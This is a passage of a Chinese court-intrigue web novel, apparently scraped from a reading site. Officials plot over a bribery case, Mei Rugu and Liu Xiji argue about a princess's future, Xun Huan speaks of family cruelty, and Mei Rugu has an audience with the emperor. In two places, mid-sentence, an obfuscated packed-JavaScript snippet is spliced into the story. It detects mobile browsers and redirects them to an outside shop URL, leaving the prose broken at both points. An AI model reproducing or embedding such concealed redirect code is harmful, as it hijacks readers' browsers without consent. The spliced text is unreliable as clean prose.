“那你说怎么办吧?”寇美中把手中茶盏一放,“这王家混账,有胆子强占民女没本事料理干净?有胆子行贿没本事遮掩?三弟,草包不是这么当的!信州的御史敢将事情捅到京里,这就说明了他们没本事,连个小小御史都摆不平!这是幸亏送到了曾恩全手上,但他也只是个佥都御史,他不敢料理这件事情好歹也给你我送了信,给王家送了信,让他们把活口处理干净了,这才把案子交到了刑部,结果平白地冒出了个人证,还让魏王的人千里迢迢平安护送到了承天殿上!三弟,这种馕包不丢掉,你还要留着过年吗?” 寇慧中恼火:“若是把王家踹了,唇亡齿寒之际不顾多年情谊,你让天下人怎么看我们寇家?一爵还在议亲呢,他们本就瞧不起我们是商贾出身,若落井下石,天知道我们要被笑话成什么样子!” “那你说怎么办!”寇美中一拍桌子,“王家要死,我们也要跟着去死吗!今儿华岑建当廷弹劾,那人证一块油皮都没破过,就在承天殿上好好站着,裴暄在一边煽风点火,谢改之、曾恩全立即被停职拘捕,柳曦既被罚俸、郇海山被停朝,案子现在让大理寺的那群忘八接手,锦麟卫在一旁盯着,你说说,我们要怎么办!” “够了!”寇德中暴吼一声,“一爵,你去外面等着,看海山来没来。” “不必。”郇寰掀袍跨入门槛,朝屋内众人虚虚拜了,这才在书案角落看见了面色铁青的赵王,一言不发地坐观书房里的闹剧。 63. 第六十三章 各有路 柳曦既进门第一句话便是,“你又要我帮你做什么?” 都入秋许久,难得天气返热,梅如故却还要坐在水缸边上纳凉,闻言,笑眯眯地一指自己对面那把胡床,“这话说的,多伤感情啊。” 柳曦既还是在临窗矮榻上坐了下来,一扫面前小几,茶果点心,一应齐全,中间还摆了一整块冰。 蒲扇摇得呼呼作响,梅如故扭头对他笑:“好吧,你我之间也没什么感情。你猜得对,我这又要麻烦你了。” 柳曦既轻抿一口茶,“你还不起。” “是啊,欠太多了——”梅如故起身,晃荡到矮榻上盘腿坐下,笑嘻嘻地玩笑:“那便不还了。” 柳曦既不看他也不说话。 琢磨着柳曦既的神色,梅如故试探问:“你又看出来这是我的手笔了?” “本来还不确定。” 梅如故给他添水:“怎么不确定了?” “毕竟是人命。” “干到这个位子,你我谁手上没几条人命呢?” 柳曦既抬眼凝视他的嬉笑。 梅如故不理会他眼神中的谴责,探身抱臂支着小几严肃道:“王家占了人家的妻女,又以挨家挨户分摊的鱼鳞图册税不齐,交上来的棉纸质量下劣为由头,把他们都逮进牢狱,没两天便全家死绝,只有一个表亲前些天上山捕猎逃过一劫,一直藏在山里等到了魏王派人。” “鱼鳞图册税?”柳曦既蹙眉。 “户部每三年收缴一次地方的鱼鳞图册,由地方负责制作,当地守军押送至当地府衙,层层上交,除了四大将军辖区,其余地方最终由高级衙署诸如布政司、各道总督府核查清点,押送京师户部。又,每九年重造一次籍册,存入紫微宫架格库。” 说着,郇寰冷冽的视线一扫寇慧中,“天元前朝,这笔钱是摊在百姓头上,特意增添的鱼鳞图册税;升平开国,圣上便将这笔钱划到了当地官绅头上,又要让县衙和商贾共同负担,虽然实质上还是从赋税里抽调银钱,但性质全然不同,每年增派下去的赋税里也再没有这么一条鱼鳞图册税。王家是官又是商,胆敢违抗皇令私自增税,就凭这条,这王家就保不了。” 寇美中满意地朝郇寰微笑,斜眼看向寇慧中。 “但是,华岑建今晨弹劾,只含糊一句、潦草带过,就盯着三年前,谢改之出差巡查江西道时,收受王家贿赂,错判人命案,全然不管收税,似也不想从收税上面制死王家,这值得深究。” 寇慧中冷汗涔涔:“既然如此,那谢改之呢?让他把罪全都认下,信州那里我来善后,只要不提收税,总到不了家破人亡的地步。” “三年前胡乱判案、草菅人命,后来事情捅了上去,曾恩全将案子直接移交刑部,这么大的案子,没有过我的手,也没有过严中立的手,他一个郎中就把案子拦了下来,现在又是刑部侍郎,更把案子压到了箱底。就凭这个,他敢接都察院递来的断头案又东窗事发,他也保不了。” 寇一爵道:“既如此,我们便不要在他们身上做无用功。魏王拿到了收税的把柄,却不敢抛出来,其中必定有鬼,若不是有后手,那就是他们也心虚,毕竟这种事情谁手上没栽过几桩,从中挖掘,或可破局。” 郇寰点头:“这是一条路,但还有一条,在都察院。” “你是说,案子埋了三年,都已经从察院交到了刑部,华岑建与裴继登却能翻出来,其中也必定有鬼。” “非但如此。” 柳曦既冷冷问:“他就在深山老林里藏了三年?就等着魏王派人来找他?” “如何不行?”梅如故重新坐好,“山里有吃有喝还没有纷争,呆个三年如何不行?若是让我选,便呆上一辈子也未尝不可。” “三年前你就在谋划了。” “随便播下一粒种罢了。” “既然早有谋划,又何必告诉我?” “我的手都已经伸入了都察院,总得知会一下你这个都察院的一把手吧?不过,我就算不知会,你也知道得差不多了对吧?”梅如故拿了一片瓜啃了起来,“这种地方上递来的案子,入了察院首先要留底,然后在佥都御史那里过一遍,他们底下人斟酌着有无上报的必要,再决定是廷弹劾呢,还是移交刑部。像这种,直接弹劾中央有司的案子,照理说,一在察院留底,以你的敏锐程度和勤业态度,早上登记,你中午就知道了吧?” 他抽了帕子擦擦手,“所以,你早就知道有这么件事情还按下不表,也盯了将近三年吧?” 柳曦既并不答话。 郇寰对角落里的赵王道:“都察院问拟,刑部审定,大理寺复核,如不通过即打回都察院。将这件枉法案套入三法司惯用的运行程序十分贴合,如果要进行追责那必然是中间负责审定的刑部全权负责。但犯事的是刑部郎中,按照惯例,都察院如不当廷弹劾此案,就应将案件转交大理寺进行审定,由大理寺呈报圣上,由圣上裁决。曾恩全钻空子,略过了这一步,直接找到了谢改之,来了一招泥牛入海、放虎归山。但地方交到中央的案子,入京的首先一步就是留底登记,没人会没事找事去翻这些案底,但总架不住有人要发难。” “但这是三年前留的底了。”寇一爵反驳。 “是,我要说的正是这个。”郇寰依然看着赵王,“魏王会翻,华岑建和裴继登会翻,难道都察院的一把手左都御史柳曦既不会翻吗?” 屋内鸦雀无声,郇寰的声音便显得更加响亮:“今日,华岑建弹劾曾恩全,表面上看是都察院内斗,所以柳曦既被罚,表面上是他这个左都御史御下不严、不称其职;但华岑建弹劾曾恩全,这是魏王在发难,若是这么看,柳曦既被罚就是因为他插手党争,在不为人知处卖了王府一个面子。” 梅如故刚擦了手,又拿了一片瓜,“你今天被罚得厉害,半年的俸禄就这么没了,或可见,圣上是真的生气,又可见,他的这盘平衡之棋,还远没有下完。” “圣上还在平衡。”郇寰结论。 “所以你如果不做点什么自证清白,再出了事情,便不是半年的俸禄这么简单了。”梅如故唇角含笑,眸中冷冽。 “所以当前要渡过难关,最直接的办法就是‘自残谢罪’。” “他心里有杆秤,你一向不偏不倚,就像那根杆,所以东边重西边轻、赵王得意魏王失意,他都不会牵连上你,可一旦你也上秤。” “圣上心里早有算计,必然是王府势大,破坏了平衡,所以圣上允许魏王反扑,所以他要惩罚柳曦既。” “这杆秤便也算不得是秤了。” “所以此时,我们就是猎物,圣上就看着魏王来撕咬,看他能不能咬下一块大小合适的肉,如果他没本事,那圣上就要亲自操刀出手,如果过分了,他自己也要被圣上处置。” “柳曦既,你心思深,谋划深,但你不说,他便不知道,而帝王多疑,连郭明修这样与他出生入死的忠仆都要上缴兵权、自断臂膀、沦为傀儡、以保天年,你比不过郭明修,就连你的老师卜栾枝也比不过他,圣上如何会对你容情?” “与其被魏王撕咬得血肉模糊,与其让别人执刀,不如我们自己动手、还可把握分寸。” “现在正好有个机会,该你去向他表忠心了。” “至于如何动手,王家和谢改之不能救也没法救,信州要抛,寇家也要自罚,王爷也要请罪,还有我,也要在夺官之前上表引咎辞职。” “不可!”沉默许久的赵王终于叫了出来,他从书案后走出来,走到郇寰身前坚定地劝:“海山,你不能辞官。” 寇美中也附和:“燕王和魏王联手,户部是燕王的也是魏王的,韦不决在兵部,我们手上只有一个刑部,刑部若是丢了,再拿回来就难了。” “若是不辞,丢的就不止是官位了。” 众人齐齐看向说话的寇德中。 “他是兖国公主的驸马,圣上还能因为这件事杀了他不成?顶多是丢个官,过几年让公主去宫里求一求,圣上为了皇家的体面,重新封个官也不是难事。” 寇德中一眼也不看暴躁的寇慧中,只幽幽叹息:“若不是了呢?” 郇寰与之对望。 肃穆一扫化隆短暂而平和的夏日。 “大理寺主查,锦麟卫督查,内阁里还传来消息,同时还要都察院与刑部出人协查,涉及鱼鳞图册事,户部也会派人。卿楷是两边都不会得罪的,锦麟卫不会办事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346409|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刑部要偏帮,户部只管税收的事情,那办案的重中之重便是你察院的人。你可想好了,让谁去?” “你想让谁去。” “那自然是两边都不帮、最胆大包天的那个。” 柳曦既的眼睛黑得发沉:“他去了,江西道的天就要被掀开,郇海山这个驸马就当到头了。” 梅如故大笑:“那不正好?没了他这个碍眼的,你与公主就是男未婚女未嫁,凑一对刚刚好,我也就省心了。” “你不是最了解她吗?她什么都忍得了,独独忍不了有人替她私自决定。” 梅如故端起茶杯,似有玩味:“你也挺懂她的。” “那为什么要这么做?” 梅如故笑盈盈放下茶杯,“柳曦既,我这可是在帮你。让介含清去,你的嫌疑就洗脱了,又得了公主为妻,你的仕途就稳了,再过些年,入阁拜相不是虚语。位极人臣,你不就能施展抱负、匡扶社稷了吗?” 柳曦既并不入套,“是你在麻烦我。” 一语双关。 “是,我需要你派人帮我料理信州的摊子,不然这场戏就唱不下去了;我也需要你去照顾她、保护她、看住她,反正当年你就在东宫立过这样的誓,没法食言了。” “你想过她吗?” 梅如故胡乱抓了一把头发,“反正她也不喜欢郇海山,对你也没有这些心思,你对她不也没有男女之情吗,你们凑合着过下去又怎么不行了,熬过这几年然后分道扬镳,你们也没亏啊,怎么就推推搡搡这么不愿意?” 柳曦既自己满上了一杯茶,“东宫这些人里,你最在乎她,她也最在乎你,你们就和亲生的兄妹没有区别。但你们毕竟不是亲生的兄妹,就连太子也不曾像这样,替她私自决定人生。” 梅如故被这话堵得心里闷,闷不过的他终于爆发:“她和我最像了,我都不愿过的憋屈日子她愿意过?可有什么办法?她得活!如果万事太平,那当然随她的便。可现在党争激烈,她还选了个郇海山这个麻烦篓子,她还自以为胸有成竹要搅弄风云!” 他从榻上跳了起来,走到了水缸旁背对着柳曦既继续道:“我与梅问香是没有这段兄妹情的,老三、老四在我这里跟儿子差不多,不讲君臣,她就是我妹妹,她是我妹妹,我便要周全她。就算讲君臣大义,哪怕为了东宫,我也要周全她!” “周全她,就要断了她的青云志?” 梅如故霍然转身,几步逼近柳曦既,“什么青云志?这本不是她该掺和的东西!朝廷、人心、诡道,哪一个她能承受担负?小时候错手误伤了一个宫女她都要自责伤心,听见我怀疑窦宙、失望韦不决,就忍不住眼泪,这血淋淋的一场场争锋她怎么受得了?不讲她有没有这个能力,就说她是女子,没权没名,她拿什么东西和那些狗咬人、人咬狗、人狗不分猪狗不如的东西争?!” “你与阎阁老谈过,那就该知道她本是、该是、将是什么样的人。” “那时九死一生!破釜沉舟、背水一战,她有这个魄力我很欣慰,但她从小就是被捧在手心里细心呵护着长大的,我为何要让她去死人堆里搏命?我为何要让她灰败了人世信心、消磨了生存斗志,只为了去朝堂上争一口气?” “她做这些事,从来都不是为争一口气。” 梅如故不觉后退一步,顿时觉得胃里翻江倒海似是绞着刀子。 柳曦既站起身,影子就此把梅如故也笼罩进去,“你对她的好,她都知道。你是为了报仇、为了一口气撑到现在,她却是为了你们!就从陆微一事可以看出,漉水赝品你是为了报仇,但她不是,报不报仇其实也没什么关系,她只是为了你们,为了你们从小教她的道理。梅如故,她是个认死理的。” 梅如故背过身,不欲让人看见他的狼狈,柳曦既也不去窥探,只朝着门外缓缓走去。 “梅如故,每个人都有自己的路要走,从前你有你的路,梅问香有她的路,所以你们道不同不相为谋。现在你也有你的路,公主也有她的路,强求不得——天气凉了,这些东西少吃一点吧。” 梅如故冲着门口柳曦既的背影赤红着眼睛大吼:“都察院所派何人!” 柳曦既的脚步不为任何人停留。 64. 第六十四章 亲妹妹 白日里的化隆像被关在了一屉蒸笼之上,连秋蝉、余蛙都叫得有气无力,入夜却凉得可怕,一冷一热,今日的天地简直不像是人能呆着的地方。戌牌时分,天上下起了雨,起初还有些秋风秋雨打秋荷的情调,没过半刻,五步以外难分物什。 沈明枳站在廊下,听月珰和孙医婆说着柳氏的沉疴,思绪不知不觉在茫茫夜幕雨色里迷了路。 下午晋王沈明戒来看过她,特地问了早朝上华岑建弹劾曾恩全等赵王一系之事,舆情沸腾,尤其担心郇寰会因此被免职,从而牵连到她。郇寰会被罢官,这是沈明枳心里早就有数的事情,故而也没假意安慰他,只让他别担心自己,可他还是不放心,沈明枳怕他会被激得做出什么不理智的事情坏了他自己的安危前程,就差当着他的面立誓说明无论出什么事情都不会牵连到自己,总算把人送出了襄阳侯府。 这件事,郇寰一回来就知道了。 他刚换了一身干爽的衣裳,挑了游廊走了许多远路,所幸没被暴雨浇到,刚远远看见沈明枳,就发现她站了檐下,半边衣裙都被雨雾打湿,可她恍若未觉,还在那里出神。 月珰朝他苦笑,郇寰便知这是劝了几次都没劝好。 “雨大,殿下往里站站。” 闻言,沈明枳的眼睛终于回落了些许神采,她往后退了一步、两步,总算再也不会被雨溅到,郇寰这才将托在她身后的手默默收了回去。 地上很滑,来时冬至就摔了一跤,被郇杭好生嘲笑了一阵。 “辞呈已经写好了吗?”沈明枳慢慢往厢房走。 郇寰跟她并肩,“回去就写。” “缓一缓吧,一出事就递辞呈,倒显得胆小怕事,至少要等大理寺把案子核查清楚了。” “嗯,臣也是这么想的。” “你们三法司虽然不是一根绳上的蚂蚱,但一环出错前后背锅,也算是唇亡齿寒的兄弟衙门,大理寺应该不会把铁案办成疑案的吧?” 郇寰一时捉摸不透沈明枳话中意指,只客观地回答:“不会,此案由卿寺卿主审,他是有操守的老前辈。更何况,有锦麟卫盯着。” “锦麟卫也是人。” 郇寰默然。 “也罢,你退下来歇一歇也好,谢补之因公殉职,谢改之身陷囹圄,帮你办事的左膀右臂都断了,再不歇上一歇,西北还是定不下来,本宫就要重新物色驸马了。” 郇寰呼吸一促。 沈明枳兀自道:“你放心,你总归是我的驸马,圣上再要平衡局势也不会平衡到你头上。不过在忙王府事情外,你走的其实也是条偏激的中正路子,虽然没把各路牛鬼蛇神得罪遍,但朝夕之间、身份变迁,难保不会有人寻你的晦气,你可想好了?” 郇寰一笑:“我好歹也是殿下的驸马。” 能爬到刑部尚书的位子上,他从不曾以驸马都尉的身份沾沾自喜,更不曾真的认为尚主能是什么天大的荣耀,却不期有朝一日没了刑部实职,他就是真正的皇亲国戚了,要依靠这个身份才能保住他岌岌可危的仕宦尊严。 沈明枳应得勉强,“既如此,你能平衡外头的这些便很好了,侯府里的家事,想来更挡不了你的道。” 郇寰心觉不妙,“是太夫人的病?” 厢房内早早点好了灯。 “你知道她的病因吗?” 郇寰沉默一瞬,摆手让屋内所有伺候的人都退了下去。 “看来你知道。”沈明枳进了热气氤氲的里间慢慢换起衣裳。 “大概吧。” “你怎么知道的?” 郇寰隔着屏风坐下,望着屏风上映出的沈明枳的背影。镂空的雕刻里倾泄出了温热的水雾,也流出了清晰的水声,还有一股淡淡的药香萦绕,似是连她的身姿也能从这些繁复华丽的雕镂中窥得少许。郇寰移开视线,盯着屏风脚说道:“她自己告诉我的。” 水声戛然而止,沈明枳似是十分讶异。 “我也没想过,她居然会把这些事告诉我。”他有些恍然,又有些黯然沉重,“毕竟寻常母子也说不了这样的事情,何况我与她从来都不是一对寻常母子,不过她大概是想让我觉得愧疚,这样便会更用心照拂她的儿女吧,毕竟侯府里,除了我,郇翾、郇旒没有谁可以依靠了。” 沈明枳说不出话,过了好半晌,这才在哗啦啦的水声中开口:“她用的药很温和,但架不住次数多,本来养一养已经见好,但不知怎么,近来越发严重,我派人请过孙先生,他也诊不出什么问题,说或许和心境有关吧。” “那就只能是郇毓的婚事了,别的,应该也没什么会让她放心上的了。” 沈明枳慢条斯理的擦洗,慢条斯理地试探:“太夫人这几日为了宴客名录,确实劳累了一点。” “说起劳累,劳累的应当是殿下。”郇寰依然盯着屏风脚,“郇毓的婚事实在是劳烦殿下了。” 见郇寰避开不谈,沈明枳便熄了探究的心思,随口道:“算不上劳烦。” “我出了这样的事情,宾客便请得少一些吧。” “好,等拟完了由你抉择。”说着,沈明枳从水中起身,简单擦拭过后,披好衣裳,系上腰带,便从屏风后走了出来。 郇寰这才顺着她飞动的裙摆看了上去,沾了水的黑发垂在肩头,更衬得她还淌着水的脖颈与中衣领口是同一段亮眼温润的雪白。他的视线到此为止,如同一曲激昂鼓乐戛然而止,倏尔又落到了曲初的平淡,无波无澜地重新落回沈明枳的脚下。 沈明枳这便踩着他的视线,走到他身边,隔着一张圆桌坐下。 郇寰这才轻声道:“她不喜欢郇毓,更不喜欢张姨娘,郇毓有了这样的归宿,她心里不痛快。” “无论和侯府比、还是和河东柳氏比,俞家都只是寒门。” “门第不重要,重要的是人。” 沈明枳越过灯烛看向郇寰,郇寰也正盯着她,四目相对,各自垂首,郇寰低声解释:“她与我年纪相仿,只比郇毓大几岁,却要给我的父亲做续弦,家里还有我这么一个继子,还有那么一摊叔伯妯娌,青春守寡,又要被一些乱七八糟的事情折磨,柳家还给她施压……我虽然不喜欢她,但有时也觉得这些事情对她来说,有些残忍了。” 郇寰叹息:“我常年不在侯府,郇毓早些出嫁也好,免得她们再呆在这里互相折磨。”他望着虚空,忽而自嘲:“虽然,就算我在,家里的事情还是由她管,郇毓还是过不上自在的日子。” “不过郇毓好像,从来也没过过这样的日子。” 沈明枳擦着头发,这才看了过来。 “殿下应当不知道,我从小就不喜欢她——也不是不喜欢,就是瞧不上。” 听郇寰的口气莫名轻松起来,沈明枳这才在他似拂春风的目光下玩笑:“毕竟你是你们郇家这一辈第一个男孩子,父亲是一族之长、襄阳侯,母家是横亘百年的顶级门阀。” 郇寰一笑:“我是族中头一个男丁,但以前他们都叫我郇二,排在我前头的是四房叔叔家那个早夭的女儿,论起来是我堂姐,但呱呱落地没几天就夭折了,她的生母不久也没了。她的生母就是侯府里的婢女,不过侯府里被破了身子的婢女数不胜数,但唯有她有了身孕,肚子一天天地大起来,不知男女。” 说着,郇寰脸上的笑意也淡了下去,望向沈明枳的眼睛里却亮幽幽似也点着一盏灯:“这种事情我小时候就见多了,化隆城没有一处地方是干干净净的,这些深宅大院里肮脏尤甚。” 沈明枳将白叠布理好,起身走入屏风挂到浴桶边。 “可当时四叔还未娶妻,于是祖母到处物色儿媳塞给她的宝贝儿子,然后顺顺当当地给那个婢女抬房,结果十月怀胎生了个女孩,大失所望,婴儿夭折后,那个婢女也被四婶悄悄处理了。” “不递辞呈,你还是管刑狱的官。” 郇寰话中无奈:“确有枉法,但臣管不了,也管不过来。” 沈明枳坐到床边,“确实。” “此后四婶和四叔的日子也过得一天比一天糟,祖母为了那个有可能是男孩的婴儿四处给四叔物色妻子,高门大户不愿意,小门小户看不上,最后勉勉强强娶到了平平无奇的四婶。四叔又不喜欢姿色平平的妻子,四处沾花惹草,四婶又厌恶四叔的作风,觉得四叔没出息,又觉得自己嫁过来像活吞了苍蝇,冤家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14375936|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似地过日子,屋里不知抬出去多少死于非命的妾室通房,一桩桩一件件都被祖母压了下来。祖母过身后,四叔四婶就更加不对付了,屋中的闹腾程度让申不极他们都难以望其项背,现在不还一天几闹么,我那几个四房的堂弟天天躲到族学里不肯回家。” 郇寰不看罗帐也不看沈明枳,继续道:“也许我讨厌郇毓,一开始就是因为这些嫡庶尊卑。她的生母张姨娘不是同僚送的贵妾、也不是从通房抬上来的家妾、还不是正经人家卖进来的良妾,而是舞女,是大着肚子进门的外室。一个抬房的婢女尚且让四婶恶心了一辈子,何况是挺着肚子进门的外室,简直就是对我作为高门贵女的母亲的羞辱。” “但母亲很严厉地训斥了我,她从没有那么严厉地骂过我——” “出身微寒、为人外室,未必是她的过错。” 郇寰微扬唇角:“是,但我那时候不过一个自以为是的世家子,怎么可能明白,就算明白,怎么敢和他叫板?开始我也以为,母亲只是碍于名声不得不对她们母女尽责,从来不曾克扣、苛责、虐待。后来才知道,这不是面子功夫,有我这个亲儿子的一份必然也不会少了郇毓,吃穿用度无不亲躬,我到了年纪要开蒙、入族学、请塾师、与同龄人交游,母亲也不会忘了她,甚至为了她特意在族学里请了女师,不过后来太夫人掌家,族中女孩也都长大了,用度花销又大,便给停了。她每次出门赴宴,或许不会带我,但必定要带郇毓,就是娘家萧氏办宴,她也要带的。那时我就在想——” “如果我也有一个亲妹妹,想来母亲待她也大抵如此。” 郇寰垂下眼睫,“殿下不觉得,郇毓有时太过畏缩了吗?这样被细心呵护捧大的小姑娘,怎么会变成这个样子……这便是我不喜欢她的最主要的原因了。我又不是没见过有些人家的夫人是如何糟践庶子庶女,那些少女像她这么畏缩我倒能理解,可每次我看见她这幅怯弱惶恐的样子就觉得光火。” 沈明枳的声音有些喑哑:“有些出身对于有些人来说,就是一辈子的烙印,不必人提,它就在那里。” “可人生来,就得按照出身过日子么?” 沈明枳的记忆一下子被拽回了那蒙蒙昧昧并不清晰的深宫岁月。 “是,在现在的世道下,出身是伴随一辈子的东西,抹不掉,但我母亲为了让她过得大大方方、敞敞亮亮费了不少心力,她却无时无刻不在大声告诉别人,我是庶女,我生母曾是最下贱的舞女后来又当了外室,我卑贱,我不值得过这么好的日子,我不配。这便好像所有的心血都付诸东流,所有的拼命都打了水漂!” 沈明枳深吸一口气,压下心中脑海的混乱,“她和张姨娘常常见面吗?” “殿下慧眼,一眼看透了,不错,郇毓什么都舍得下,独独舍弃不了她的生母。我曾去过张姨娘的屋子,那般敞亮的地方却让人觉得无比压抑,让我只去过一次就再也不想踏足。”郇寰边说着,边摇头,拼命遏制自己的思绪不去重忆那种逼仄、阴冷与昏暗。 从那以后,他就明白了郇三娘这般巽弱是何缘故,且任凭他和他母亲如何教她、爱她,她也永远只能是躲躲藏藏的老鼠。他甚至曾经脑热地想向母亲提议,让郇三娘和她的姨娘分开,不要叫她们见面了,但他很快就清醒了,这有违人伦。 那是一个什么也教不了、给不了、只能让她变得更坏的女人,可她舍不得、深爱着,只因为在那里她才能得到真正的“母爱”!所以郇寰瞧不上她,所以郇寰觉得,日子过得一天天地黯淡下去,她活该。 他和郇三娘终究是不同的。 “她终究不是我的亲妹妹。” “有时候不是亲生的兄妹姐弟,也能胜似亲生。” 郇寰倏忽抬眼,可目光连沈明枳的眉宇都没碰到,就一晃晃到了别起帷帐的玉钩之上。烛火映照,玉钩莹满了温润之光,郇寰喉咙一紧,回想起方才自己的这番牢骚,只觉得自己一时无禁,后悔莫及,居然踩着沈明枳心里的东宫的忌讳说了这么久。他们都是惯爱多思多虑的人,寻常一句问候都能被拆解出千千万万种特殊意义来,何况是郇三娘这段过往,与沈明枳在宫里的处境几乎一般无二。 65. 第六十五章 好孩子 惊疑瞬息,郇寰斟酌字眼、镇定开口:“圣上醉心平衡之术,引得双王相争,常让人担心有人渔翁得利,但不论从利还是情的角度,要疑心也要疑心吴王和燕王,王府是无论如何也不会疑心晋王爷的,殿下大可放心。” 沈明枳轻笑:“那便好。不过,我说的也不是这个。” 郇寰也知道沈明枳是故意这么说的,但没有拆台的必要,只静静听她说:“这些感情不过讲究一个‘以心换心’,谁对她好,她心里都明白的,她不是忘恩负义之人,她自有她的打算。我们也各自有各自的路要走,你要走你的路,她要走她的路,你是真心对她的人,既然劝不回,那就支持她,做她的退路。” ** 晨过近午,天空一碧如洗,绝无半点纤云,内城巍峨的飞檐上也被洗得不染纤尘,在秋日暖阳下亮闪闪刺着宫道上行人的双目。重入这金碧之城,梅如故倏然生出了一种岁月不居、光阴似箭的感慨来。他从这里离开南下时,东长安门就是这样忙碌、御书房就是这样森严,他还是佼佼少年郎,而今重回,他还算年轻却添了白发,坐在龙椅上埋在山似的奏折堆里的那个帝王也已壮年不再。 “如故,朕听说你这几年身体不好?”圣上搁笔,关切地望向跪在龙案前的年轻人。他的确比当初清瘦了不少,气质却更加沉稳,如他父亲一般风流的桃花眼里多了沉稳与敦厚,若他装得严厉古板些,个子再矮些,头发再白些,那便是首辅梅痴绝再世、他们君臣十几年重逢。 “只是小病接连,微臣谢过陛下关怀。” “起来吧起来吧,庞培,赐座。” “谢陛下。” 圣上看着梅如故起身时,空荡荡的官袍被殿外风吹起了一角,不禁低声叹息:“真只是小病?朕记得你也曾是挽弓骑射的老手。” “陛下说什么?” “如故,回京这么久你都没来拜见朕。” 梅如故连忙又起身回禀:“臣回京述职,实无要事敢打扰陛下,又闻陛下劳累朝事,更不敢贸然求见,还望陛下恕罪。” 圣上让庞大总管退下,“那你今日怎么敢打扰朕了?” 梅如故跪下,抬头望着龙椅上的男人:“回陛下,臣今日确有要事要奏。” “怎么又跪下了,起来回话。” “是。陛下,请看这个。” 圣上接过梅如故呈上的奏疏时一眼扫到了他弯着的脊梁骨,顿感一个响亮的巴掌扇在了他的脸上。梅痴绝都没有这样卑躬屈膝过,他答应替他照顾好他们孤儿寡母,却让梅如故活成了这副半生不死的模样。 圣上抖着手指翻开这一份奏疏,越看越心惊肉跳,细细读完后一把将奏疏拍在了龙案上,本来的慈父目光顿时冷成了风刀霜箭,刀刀箭箭直扑梅如故而去。 “这个监察御史尚兆魁和你是什么关系?” “回陛下,此人是升平八年的进士,是臣的同年,曾因父丧丁忧三年,后启复为湖广道监察御史,又平调江西,这份奏疏就写于三年前江西任上。” “为何三年前的奏疏,三年后才托你送入京?尚兆魁他人在哪里?” “回陛下,尚御史三年前就因为母丧丁忧,守制在家了。” 圣上重新翻开奏疏,“朕若没记错,三年前弹劾信州王氏的那个江西道监察御史就是他尚兆魁。” “正是。尚御史向臣解释说,正是因为他的弹劾压在了都察院,这才不敢这本奏疏递到京城里,就怕一不留心,连自己的儿女也全都搭了进去。” “混账!”圣上暴呵一声。 “陛下息怒。” “你让朕如何息怒?良臣善将缄口不言,满朝文武支支吾吾,门阀权贵手眼通天,这就是朕的大楚?这就是百姓的天下?!” 梅如故默然不语。 片刻,圣上缓了片刻又问:“这个尚兆魁还说了什么吗?” “此次三年守制满,尚御史写了奏疏递到京师吏部,顺便听说了信州之事,这才将这份奏疏托付给微臣。尚御史深明大义,直言三年前不敢上奏,实非贪生怕死,只担心死而无用,信州百姓的冤屈不得昭雪、承天殿上的蛀虫不得清扫、宗庙明堂的栋梁不得坚筑,今日白衣去冠上奏——”梅如故一掀衣摆,在中央规规矩矩地跪下,“虽九死其犹未悔。” 虽九死其犹未悔。 圣上沉默地望着梅如故。 眼前这个年轻人,各方面都已经长成了一个完完全全成熟的男人,可说起这句话时的神色,仍然青涩激荡一如不知天高海阔的少年。梅痴绝、卜栾枝、霍伊兰,他们都曾以这句话明志,都曾以这句话向黎明苍生起誓,现在要轮到他了么?可他真的明白这句话的含义吗?真的担得起这恩义断绝的重任吗?真的清楚生死无间的前路吗? 圣上没有犹豫太久,只是铺展了笔墨,重新起草了一份旨意,然后叫来了庞培,将两份圣旨都捧到了仍跪在中央的梅如故面前,“你仔细看看。” “臣遵旨。”梅如故这才捧起第一份、也是最初这份早就准备好的奏疏看了起来,就见南下专员的调派——最要紧处用楷书工整写着“卿楷”、“陶彬”和“介含清”的名字,外加一个户部侍郎周舫调查税目,一个正三品的大理寺卿、一个正五品的刑部郎中还有一个正四品的佥都御史,的确是目前能拿得出来的最合理也最合适的班子。 梅如故暗自松了一口气。 柳曦既面冷心更冷,当时他那个反应着实让他捏了把汗,总算他们都是极其清醒的人。 但他丝毫不敢放松,伸向另一份圣旨时甚至有些恐惧。 圣上目光如炬地盯着他面不改色地看完剩下那份圣旨,“你觉得哪份合适,你就带着哪份去内阁找郭明修。” 闻言,梅如故目光一凛,坚决地合起最后这份圣旨,双手捧着朝圣上躬身,“微臣遵旨。” 圣上目露凄哀,吩咐梅如故起来,看着他的身影长长叹息:“你与柳曦既也是同年,若没有意外,现在的你也该位列三公九卿、掌一方威权了。” “都是为百姓、为陛下效命,臣不求显贵,只愿无愧。” “如故,看见你,朕便想到了太子。” 梅如故捧着圣旨手微微收紧。 “东宫还会有太子,但朕没有儿子了。” 梅如故垂着头垂着脸,盯着那冰凉的金砖只觉得眼热。 “你是个聪明的孩子。” 梅如故咬紧牙关,只听得自己的肌肉骨骼都在这空荡寂寥却又喧阗吵闹的御书房挣扎尖叫。 “是好孩子。” 梅如故遏制不住心中那把无名业火,奔腾宛若天上河的愤恨也要决堤。可他得忍,忍住自己操刀染血、将全家都拉入阿鼻地狱的冲动,忍住自己在这修罗人间纵火自焚同归于尽的冲动。 “是我大楚要当圣人的好孩子。” 梅如故脸上最后一丝血色也在自己投下的阴影里慢慢褪去。 “所以,你要好好保重,你要长长久久继承父辈的遗志,活下去!” 走出御书房时,梅如故只觉得自己已经死了。 